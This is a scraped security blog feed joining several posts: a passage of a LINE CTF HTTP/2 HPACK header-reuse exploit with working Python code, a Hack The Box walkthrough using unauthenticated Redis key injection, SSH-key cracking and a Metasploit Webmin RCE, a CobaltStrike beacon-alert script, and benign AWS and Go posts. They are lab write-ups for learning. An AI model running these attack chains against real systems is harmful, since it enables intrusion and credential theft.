(由于是在同一个 HTTP/2 connection 中,不同的 stream 的 Header 字段,由同一个有序集合进行维护。 这里涉及到 Indexing Tables 的概念,一个 connection 维护一个 Indexing Tables,Static Table 为协议规定的 61 个 Index 是固定不变的,这道题目自定一的两个 Header 字段(x-user-{uuid4()}、x-pass-{uuid4()})为 Dynamic Table 表中的内容。关于这部分详细且权威的介绍,可以参考 RFC 文档。[12])

结合题目的代码来看,在 conn._new_stream() 这个新的 stream(upcoming stream) 创建之前,向 /auth 发起过请求,且之前的请求 Header 中是包含了正确的用户名和密码字段的,如果我们可以通过遍历 Header 字段索引(index)的办法 re-used(重用)这两个 Header 字段(x-user-{uuid4()}、x-pass-{uuid4()}),再次向 /auth 发起请求的话,就可以顺利拿到 JWT Token 了。
构造获取 JWK Token 的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import hpack
from hyperframe.frame import *

def header(id, idx):
enc = hpack.Encoder()

h1 = enc._encode_indexed(idx)
h2 = enc._encode_indexed(idx + 1)
ha = enc.encode({
':path': '/auth',
':method': 'GET' })

hb = enc.encode({
':authority': 'babyweb_internal',
':scheme': 'https'
})
h = ha + hb + h1 + h2

p = HeadersFrame(id, h)
p.flags.add('END_HEADERS')
p = p.serialize()
return p

sess = requests.Session()
HOST = '35.187.196.233'

for i in range(62, 128):
r = sess.post('http://' + HOST + '/internal/health', json={
'data': b''.join([header(5, i)]).decode('latin-1'),
'type': '2'
})

content = r.content
print("")
print(i)
print(content)
while content:
frame, length = Frame.parse_frame_header(content[:9])
print(frame, length)
content = content[9 + length:]

可以获取到 token 信息如下:

1
2
3
4
65
b'\x00\x00\x02\x01\x04\x00\x00\x00\x05\x88\xbe\x00\x00\xab\x00\x01\x00\x00\x00\x05{"result":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTY5NDM3NDd9.05Vevw3TUfheBwhdztDZbpgavsjVDm6tQIW99gODYR0"}'
HeadersFrame(Stream: 5; Flags: END_HEADERS): 2
DataFrame(Stream: 5; Flags: END_STREAM): 171

剩下的内容就简单了,我们拿着获取到的 token 构造一个新的 HTTP/2 请求,相关漏洞利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import hpack
from hyperframe.frame import *


def header(id):
enc = hpack.Encoder()
h = enc.encode({
':path': '/flag',
':method': 'GET',
':authority': 'babyweb_internal',
':scheme': 'https',
'x-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2MTY5NDM3NDd9.05Vevw3TUfheBwhdztDZbpgavsjVDm6tQIW99gODYR0'
})
p = HeadersFrame(id, h)
p.flags.add('END_HEADERS')
p = p.serialize()
return p

sess = requests.Session()
HOST = '35.187.196.233'
r = sess.post('http://' + HOST + '/internal/health', json={
'data': b''.join([header(5)]).decode('latin-1'),
'type': '2'
})
content = r.content
print(content)
while content:
frame, length = Frame.parse_frame_header(content[:9])
print(frame, length)
content = content[9 + length:]

最终获取到 Flag 为:LINECTF{this_ch4ll_1s_really_baby_web}

0x03 后记

这道题目还是蛮有意思的,总结一下,核心的考点是利用 HPACK 在同一个 connection 的不同的 stream 中使用相同的 Indexing Tables 这一特性导致的 Header 字段重用。

另外,目前,CTF 的线上环境仍然是有效的,有兴趣的读者可以直接访问做一些测试。我这边也将赛题环境和漏洞利用代码备份到了 Github 上留存,地址为:https://github.com/tonghuaroot/My-CTF-Web-Challenges/tree/main/LINE%20CTF%202021/babyweb

0x04 参考链接

[1] TonghuaRoot’s BloG. - Cyber security enthusiast, not Hacker. - https://tonghuaroot.com/

[2] LINE CTF 2021 https://linectf.me/

[3] What is the difference between docker-compose ports vs expose https://stackoverflow.com/questions/40801772/what-is-the-difference-between-docker-compose-ports-vs-expose

[4] How do I find all files containing specific text on Linux? https://stackoverflow.com/questions/16956810/how-do-i-find-all-files-containing-specific-text-on-linux

[5] Install Docker Engine on CentOS https://docs.docker.com/engine/install/centos/

[6] LINE CTF 2021 Writeup - babyweb https://hackmd.io/@stypr233/linectf#babyweb

[7] Hyper: HTTP/2 Client for Python https://hyper.readthedocs.io/en/latest/index.html

[8] _send_cb() https://github.com/python-hyper/hyper/blob/development/hyper/http20/connection.py#L625-L642

[9] Streams https://hyper.readthedocs.io/en/latest/quickstart.html#streams

[10] HPACK和twitter hpack源码解析 https://www.jianshu.com/p/96f21b9b4fd5

[11] hpack: HTTP/2 Header Compression for Python https://python-hyper.org/projects/hpack/en/stable/

[12] Indexing Tables https://tools.ietf.org/html/rfc7541#section-2.3

]]>
<h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>哈喽,大家好,我是童话。</p> <p>最近一段时间一直没更新博客[1],一方面是自己懒了,另一方面
This is a test page for testing Github Action https://tonghuaroot.com/2020/11/25/This-is-a-test-page-for-testing-Github-Action/ 2020-11-25T15:35:11.000Z 2020-11-26T12:46:38.000Z 11
22
333
444

]]>
<p>11<br>22<br>333<br>444</p>
Smogcloud - AWS external network asset discovery platform https://tonghuaroot.com/2020/11/16/Smogcloud-AWS-external-network-asset-discovery-platform/ 2020-11-16T12:31:54.000Z 2020-11-16T12:46:20.000Z 0x00 前言

对于一家大量采用AWS的甲方企业来说,如何实时的发现暴露在外网的AWS资产对其进行企业安全建设来说则至关重要。这些暴露在外面的AWS资产就是潜在的攻击面,我们可以这些资产进行更高优先级的监控,确保当出现安全问题时可以第一时间进行事件响应。而来我们也可以对这些暴露再外的资产进行高优先级的风险评估,尽量避免其出现已知的安全问题。当然,随着业务的发展,暴露在外的资产信息也是动态变化的,如何实时的收集到这些变化的动态资产信息,进行高优先级的风险评估是一个值得思考的问题。
我们没有办法保护我们看不到的资产,在这篇文章中,我主要记录一下我对Smogcloud这款开源项目的一些研究,以及如何配合Smogcloud和其他工具耦合起来实现高效且稳定的AWS公网资产监控平台。

0x01 Smogcloud 简介

如 Smogcloud 的 README 页面所述,其主要解决的问题就是发现暴露在外网的AWS资产,全量、实时、稳定的AWS资产监控平台是我们实施下一步安全手段的第一步。
Smogcloud 主要解决的问题如下:

  1. 针对多个AWS账号进行外网资产发现
  2. 针对这些资产进行检查是否存在错误配置或者相关安全问题
  3. 识别长时间未使用的资产
  4. 识别未被监控到的资产
  5. Shadow IT

0x02 当前环境

  • Amazon Linux 2
  • Golang 1.15.5

0x03 Smogcloud 的安装和配置

由于 Smogcloud 是基于 Golang 开发的,在使用 Smogcloud 之前我们要先安装Golang的开发环境。看了下代码写的还是比较简洁的,直接拿来用用,后面需要的话直接上手改代码简单扩展一些也是ok的。
一、Golang 的安装和配置步骤如下:

1
2
3
4
5
wget https://golang.org/dl/go1.15.5.linux-amd64.tar.gz
vim ~/.bash_profile
export PATH=$PATH:/usr/local/go/bin
source ~/.bash_profile
go version

安装成功之后会展示出如下信息:
1
2
[root@ip-10-188-188-188 ec2-user]# go  version
go version go1.15.5 linux/amd64

二、安装 Smogcloud

1
2
go get -u github.com/BishopFox/smogcloud
smogcloud

出现这个报错的话,说明我们已经安装成功了,接下来我们需要配置账号ID和访问凭证,来进行资产收集了。
1
2
3
4
5
[root@ip-10-188-188-188 ec2-user]# smogcloud

Cannot list functions for region us-east-1
NoCredentialProviders: no valid providers in chain. Deprecated.
For verbose messaging see aws.Config.CredentialsChainVerboseErrors

三、配置 Smogcloud

1
2
3
export AWS_ACCOUNT_ID=''            # Describe account
export AWS_ACCESS_KEY_ID='' # Access key for aws account
export AWS_SECRET_ACCESS_KEY='' # Secret key for aws account

配置完成之后再次运行smogcloud执行,对这些暴露在外网的资产进行收集。
收集完成之后相关结果保存在results文件夹下。
1
2
3
4
5
6
7
8
9
10
11
12
13
[root@ip-10-188-188-188 results]# tree
.
|-- apigateway
| `-- 123456789012.us-west-2.json
|-- ec2
| `-- 123456789012.us-west-2.json
|-- iot
| |-- 123456789012.us-west-2.json
| `-- 123456789012.us-east-1.json
`-- s3
`-- 123456789012.global.json

4 directories, 5 files

0x04 Smogcloud 的二次开发

Smogcloud 本质上是调研AWS Golang SDK获取资产信息对于符合条件的资产进行收集。严格来讲,其仅仅是一个用于收集信息的脚本,我们可以顺着这个思路进行二次开发,将收集到的信息进行入库及分析展示。
这里举一个小例子,通过收集包含工网IP的EC2实例,结合其附加的安全组以及端口扫描情况可以梳理出来对外暴露的端口。对于不合规的端口进行告警,对于必须暴露的端口如Web应用进行其他手段的安全测试。对于其他的服务,如S3一类的,也是同样的思路。
再就是如何配合AWS Config服务,利用Config服务收集资产信息,配合rule进行合规性检查。

0x05 参考链接

[1] Smogcloud:https://github.com/BishopFox/smogcloud
[2] Golang Installation, Setup, GOPATH, and Go Workspace https://www.callicoder.com/golang-installation-setup-gopath-workspace/

]]>
<h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>对于一家大量采用AWS的甲方企业来说,如何实时的发现暴露在外网的AWS资产对其进行企业安全建设来说则
Write a simple HTTPS server use Go https://tonghuaroot.com/2020/09/14/write-a-simple-HTTPS-server-use-Go/ 2020-09-14T10:09:16.000Z 2020-09-14T10:28:42.000Z 0x00 前言

为了研究HTTPS的通信原理,随决定实现一个简易的 HTTPS 服务器,用最精简的代码可以专注于针对某一个 HTTPS 请求的研究。话不多说,直接生成自签名证书,上 Golang 代码梭哈。

0x01 生成自签名证书

用于测试的工作目录:

1
/home/ec2-user/test/tls

可以使用如下命令生成自签名证书:
使用该命令生成 private key
1
openssl genrsa -out server_private_key.pem 2048

使用该命令可以生成一个 certificate
1
openssl req -new -x509 -key server_private_key.pem -out server.crt -days 1095

01

0x02 服务端代码

如下代码用于实现 HTTPS 服务端

使用如下命令可以对 Golang 的代码进行格式化

1
2
go fmt main.go


示例代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package main

import (
"fmt"
"log"
"net/http"
)

func test(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "tonghuaroot")
}

func main() {
http.HandleFunc("/1.txt", test)
err := http.ListenAndServeTLS(":8820", "server.crt", "server_private_key.pem", nil)
if err != nil {
log.Fatal("ListenerAndServe:", err)
}
}

使用如下命令可以运行 HTTPS 服务器

1
go run main.go

02

03

0x03 使用 Wireshark 进行 HTTPS 请求报文捕获并分析

1
tcp.port == 8820

0x04 后记

写这篇文章主要是搭建一个建议的HTTPS Server端,方便配合 Wireshark 分析 HTTPS 的通信流程。

]]>
<h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>为了研究HTTPS的通信原理,随决定实现一个简易的 HTTPS 服务器,用最精简的代码可以专注于针对
Hack The Box - Postman Writeup - Linux https://tonghuaroot.com/2020/06/29/Hack-The-Box-Postman-Writeup-Linux/ 2020-06-28T22:40:23.000Z 2020-06-29T06:41:42.000Z 0x00 前言

懒了,原本要保证每个月至少输出一篇blog,翻了翻做的笔记,不是不能拿出来讲的就是片段化的知识点,要是往外发的话,还要加工下,直线刷HTB的时候写了点writeup,稍微整理下发出来了。

0x01 渗透思路

整理一下撸这个靶机的思路:

1. 6379 redis未授权访问漏洞写公钥2. 翻目录找到Matt用户的私钥,john爆破出密码,redis用户su过去到Matt用户,拿到用户权限3. 利用Webmin的洞,配合Matt的登录凭证拿到root权限,over

0x02 Hack The Box Postman Writeup

IP:10.10.10.160

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
root@kali:/home/ec2-user/hack_the_box# nmap -p- -sV -T4 -A -Pn -oX Hack_The_Box_Postman.xml 10.10.10.160
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-11 06:17 UTC
Nmap scan report for ip-10-10-10-160.ap-northeast-1.compute.internal (10.10.10.160)
Host is up (0.29s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_ 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open ssl/http MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
| ssl-cert: Subject: commonName=*/organizationName=Webmin Webserver on Postman
| Not valid before: 2019-08-25T16:26:22
|_Not valid after: 2024-08-23T16:26:22
|_ssl-date: TLS randomness does not represent time
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=1/11%OT=22%CT=1%CU=30655%PV=Y%DS=2%DC=T%G=Y%TM=5E196A8
OS:E%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=D)SEQ
OS:(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O
OS:3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=
OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSN
OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 270.87 ms ip-10-10-14-1.ap-northeast-1.compute.internal (10.10.14.1)
2 428.63 ms ip-10-10-10-160.ap-northeast-1.compute.internal (10.10.10.160)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 557.25 seconds
root@kali:/home/ec2-user/hack_the_box#

看到开了6379端口,准备试试有没有redis未授权访问的问题。
可以使用如下命令安装redis-cli [1]:

1
sudo apt-get install redis-tools -y

访问redis服务[2]:
1
redis-cli -h 10.10.10.160 -p 6379

既然已经可以登录到这个redis服务了,那现在我们尝试使用我之前写过的一篇文章getshell试试[3]:

悲催,没权限。
10000端口看着也是一个Web服务,去看看有啥发现没:

本地hosts文件修改下就可以正常访问这个站点了:

看到这个Web服务的Banner还挺显眼的,就去Google搜了一下,是个有故事的服务hhh,之前就已经被攻击者以预埋漏洞的方式留了后门,典型的供应链攻击啊。那么我们的这台靶机是否适用的,需要点时间研究看看。
先来确认一下版本:

Server: MiniServ/1.910
找到了一个利用代码[7],这个利用代码适用于MSF,现在需要看看MSF是否内置了这个利用代码,或者我们把这个利用代码导入到MSF中。

撸了半天没撸下来,看下下exploit的描述“Any user authorized to the “Package Updates” module can execute arbitrary commands with root privileges.”还是得先拿到用户才能利用这个洞,也就是说我要先有个账号,这样看得话,这个洞就是用来提权用的,然后很不幸的是我又看到了writeup,看了下思路,还是在redis层面先搞一个账号,然后再利用Webmin进行提权。从nmap的扫描结果我们可以知道redis的版本是4.0.9。渗透这个东西,还是自己动手撸一下,不然思路就废了。
用linux/redis/redis_unauth_exec模块撸了半天没撸下来,就接着看writeup了。
思路还是通过redis执行命令写公钥登录服务器,之前还以为是溢出啥的高端洞呢。来试试:
ssh-keygen -t rsa -b 4096 -C “[email protected]“ # 使用该命令生成密钥对,用于登录redis用
/root/.ssh/postman # 配置私钥的路径

redis-cli -h 10.10.10.160 # 登到这台redis上头去

设置需要写入的key:
set s-key “\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDInuzivP7rs0cryLZm+zF4nShbBdKOmDKDbdIWiRyYgrzhDBRSFzOWOUCz6IyPEtPIpYOlQ+GGvsbLlmEe5iOdBBloXADRZZKbcDEViQPYrrdrxAH+mQE8a0jfVAMr+DdmJMlGEHj4M4YUkHmi5E2ZgT9FikutLmhnlbZPcbAztAXcmQdGKp0zjEYXJKnblTKTj6wcVO4euV7fSKgwil6IgOuZtXR5L/GNy0Sm0qH4IBGeJBLV0XQCCfO68mOs0ARlCCkKF4+CLeKLz4IapXGlaZgp8snTodWtlvFrZwKKLeeJ5Fu7kyY+VOfAsme0yJZ4sOJ3QDpSrQujdE5IwtFgXQlhgu4Z9N8umovlM8O7YISjk6K+EjexjrzregnePIRg9y0TEVlQVjxZzdnigY0z+4GGhhRIQjmXLFYCUzYRyawLoJE5cfwGN5xOfamV0EoOPEHIfEx9b3u2lrb82p6KkSMSetFck1K9dOWDQrZHMOYJ1Z4Uk+2q62hXMpj3vdctXMQlmbpbDPWGdTjGVz4xafuVj2WIUu65WeGiyfWvo2xxr1Gk4X9LIfa0ZTpkiON18mfpplqARawqe6AslDvoO1+mqfqXgZxbWcAD6h/rktka+VQxzAlOT2lS2Y1/U/5Z1rxGNte7npZuYWWJJAc1YbtF9GQIXleJWvIuXOlS8Q== [email protected]\n\n”

set dir /var/lib/redis/.ssh 设置目录(redis的默认安装目录)
config set dbfilename authorized_keys
Save
quit
ssh [email protected] -i ~/.ssh/postman # 登录目标机器
可以看到,成功登上去了:

这里应该反思一些,上面报权限不足的时候其实并不是set dir这个命令没权限,而是对应的目录没权限,其实比较好理解,我肯定不能已root权限跑redis,所以应该找到redis的默认安装目录,上面的就是默认的安装目录。
信息收集一波,看看其他的黑客都搞啥事情了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
redis@Postman:~$ cat .bash_history
exit
su Matt
pwd
nano scan.py
python scan.py
nano scan.py
clear
nano scan.py
clear
python scan.py
exit
exit
cat /etc/ssh/sshd_config
su Matt
clear
cd /var/lib/redis
su Matt
exit
cat id_rsa.bak
ls -la
exit
cat id_rsa.bak
exit
ls -la
crontab -l
systemctl enable redis-server
redis-server
ifconfig
netstat -a
netstat -a
netstat -a
netstat -a
netstat -a > txt
exit
crontab -l
cd ~/
ls
nano 6379
exit
redis@Postman:~$

使用这个脚本可以做进一步的信息收集:https://raw.githubusercontent.com/WazeHell/PE-Linux/master/PE.sh

找到Matt这个用户的私钥:
redis@Postman:/opt$ ls
id_rsa.bak
redis@Postman:/opt$ cat id_rsa.bak
—–BEGIN RSA PRIVATE KEY—–
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
—–END RSA PRIVATE KEY—–
redis@Postman:/opt$
常规思路就是既然我在这个目录下翻到了一个私钥,就要去试试能不能使用Matt这个用户登录至这台机器上:

可以看到这个私钥还有一个passphrase key我们是不知道的,试了几个都不对。使用john跑密码看看:

1
2
3
4
cd /usr/share/john
./ssh2john.py ~/.ssh/id_res.bak > Matt.hash
gzip -d rockyou.txt.gz
/usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt Matt.hash

很快密码就跑出来了,美滋滋:

拿到跑出来的passphrase密码继续ssh上去,结果会在瞬间掉线:

登不上去的原因也比较简单,我们通过redis那个用户登录上去翻到SSH的配置文件(/etc/ssh/sshd_config)可以知道这个用户被禁止通过SSH登录了。

直接在redis用户上使用密码su过去:

接下来拿到了这个user.txt

1
2
3
4
5
Matt@Postman:/var/lib/redis$ cd ~
Matt@Postman:~$ ls
user.txt
Matt@Postman:~$ cat user.txt
517ad0ec2458ca97af8d93aac08a2f3c

sudo -s提权提不上去,sudoers file没有包含Matt用户的原因:

既然现在已经有了一个系统用户的登录凭证,现在这会就可以在此配合前面那个Webmin的洞了:

1
2
3
4
5
6
7
use linux/http/webmin_packageup_rce
options

id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
a257741c5bed8be7778c6ed95686ddce

拿到flag之后去HTB提交就可以了:

0x03 参考链接

[1] Linux - Install redis-cli only, https://stackoverflow.com/questions/21795340/linux-install-redis-cli-only
[2] Redis 命令, https://www.runoob.com/redis/redis-commands.html
[3] redis 在渗透中 getshell 方法总结, https://zhuanlan.zhihu.com/p/36529010
[4] Webmin 1.890 Exploit - What Happened?, http://www.webmin.com/exploit.html
[5] metasploit渗透攻击之旅, https://www.cnblogs.com/zqjt/p/5431023.html
[6] metasploit-framework/documentation/modules/exploit/unix/webapp/webmin_upload_exec.md, https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/unix/webapp/webmin_upload_exec.md
[7] Webmin 1.910 - ‘Package Updates’ Remote Command Execution (Metasploit), https://www.exploit-db.com/exploits/46984
[8] HackTheBox: Postman - Writeup, https://www.soeren.codes/2019/12/24/postbox-writeup/

]]>
<h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>懒了,原本要保证每个月至少输出一篇blog,翻了翻做的笔记,不是不能拿出来讲的就是片段化的知识点,要
使用 CloudWatch Event 监控 ElasticSearch 事件 https://tonghuaroot.com/2020/05/22/Use-CloudWatch-Event-to-monitor-ElasticSearch-events/ 2020-05-21T21:42:28.000Z 2020-05-27T08:07:44.000Z 0x00 前言

为了监控 ElasticSearch Cluster 被非预期删除、创建等情况,需要搞一个监控,当监控到这种行为时,会触发 SNS 告警。
有如下几个思路:

  1. 写个脚本定期监控 CloudTrail 有非预期API CALL的时候触发SNS
  2. 将 CloudTrail 中的日志写到 CloudWatch log group 中,然后再自定义 metric 配合 alarm 实现告警
  3. 利用 CloudWatch Event 监听 elasticsearch 事件实现告警

0x01 思路解读

第一种方法就是将 CloudTrail logs 打到 S3 然后在分析 S3 中存储的 api call 情况,这种需要人工介入的地方还挺多的,不咋优雅,还有优先采用 AWS 自身提供的服务做到这件事,故跳过了。
第二种方法可以参考文档[1],直接梭哈。
第三种就有意思了,官方文档中没有给出现成的demo[2],需要我们自定义,这里就来聊一聊自定义的思路。

0x02 利用 CloudWatch Event 监听 elasticsearch 事件实现告警

在 CloudWatch Event 的 console 中 service name 并没有ES相关的服务。

1

在文档[1]中有提及“Creating a CloudWatch Events Rule That Triggers on an AWS API Call Using AWS CloudTrail”,也就是说理论上cloudtrail中记录的log在这里都能实现监控和告警。研究了一下,Event Pattern 内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"source": [
"aws.es"
],
"detail-type": [
"AWS API Call via CloudTrail"
],
"detail": {
"eventSource": [
"es.amazonaws.com"
],
"eventName": [
"DeleteElasticsearchDomain",
"CreateElasticsearchDomain"
]
}
}

思路就是找一个其他服务的 Event Pattern 然后尝试替换为 ES 的 source、eventSource、eventName。
效果如下:

2

不过现在要自己写,没准过段时间,这个功能就加上了呢。

0x03 参考链接

]]>
<h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>为了监控 ElasticSearch Cluster 被非预期删除、创建等情况,需要搞一个监控,当监
CobaltStrike Aggressor Script 实现 Beacon 上线告警功能 https://tonghuaroot.com/2020/04/25/Cobalt-Strike-Aggressor-Script-IM-Alert/ 2020-04-25T00:36:41.000Z 2020-04-25T08:48:54.000Z 0x00 前言

把之前写的一个笔记翻出来,思路比较简单,所以也就不额外的添加内容直接发出来了。

最近在研究CobaltStrike,有一个使用场景是说,当我把钓鱼邮件发出去了,等着Beacon上线的这段时间是无感知的,也就是说什么时候上线不知道、上没上线也不知道。传统的解决方案是说抽空上来瞅一眼,长远来讲这种方法是低效且不可靠的(emm,看日志可以知道shell来过又掉了hhh)。
而我个人做事的态度是比较推崇流程化、工具化、自动化和文档化的,所以便想着可以配合一些IM实现Beacon上线以及System Profiler触发的实时告警,方便RedTeamer及时响应做后续的操作。

0x01 告警项

  • Beacon
  • System Profiler
  • Clone Site
  • etc…

0x02 需要适配的IM

  • 钉钉
  • 微信
  • 企业微信
  • Slack
  • Telegram
  • Chime
  • Mail
  • 自定义函数(方便后续其他IM适配)

0x03 实现思路

代码量不多,整体的思路是,当事件触发时调用 HTTP POST/GET 请求,callback对应的IM应用接收消息,工作量主要集中在各类 IM webhook 的接口申请上,或者未开放接口的,要找一些第三方的开源解决方案,效果图如下:

01

02

参考文档:https://www.cobaltstrike.com/aggressor-script/events.html ,获取 Cobalt Strike 的 event list。

结合 Headless Cobalt Strike 可以应用到将 cna 脚本的功能同步至连接同一 teamserver 的全部 Cobalt Strike Client,参考:https://www.cobaltstrike.com/aggressor-script/index.html

这么做有一个好处,避免 Cobalt Strike Client 所处的网络不稳导致无法实时感知 Beacon 上线行为,协同作战的时候也比较方便。

代码放在 Github 上了:https://github.com/omg2hei/CobaltStrikeAggressor/blob/master/CSNotification.cna

0x04 后记

Aggressor 脚本写起来并不难,主要还是安全思路的价值大于软件工程,最近在整理一些基础功能的cna代码,以期当有更好的安全思路时可以快速构建PoC,验证思路的价值。

0x05 参考链接

]]>
<h2 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h2><p>把之前写的一个笔记翻出来,思路比较简单,所以也就不额外的添加内容直接发出来了。</p> <p>最近在
HashCat:如何利用HashCat破解NTLMv2 hash? https://tonghuaroot.com/2020/03/02/how-to-use-hashcat-to-crack-ntlmv2-hash/ 2020-03-02T07:29:12.000Z 2020-03-02T15:43:22.000Z 0x00 前言

当我们利用Responder拿到目标机做SMB文件共享时使用的NetNTLMv2 hash后,可以利用HashCat对该hash进行破解,还原出明文密码。

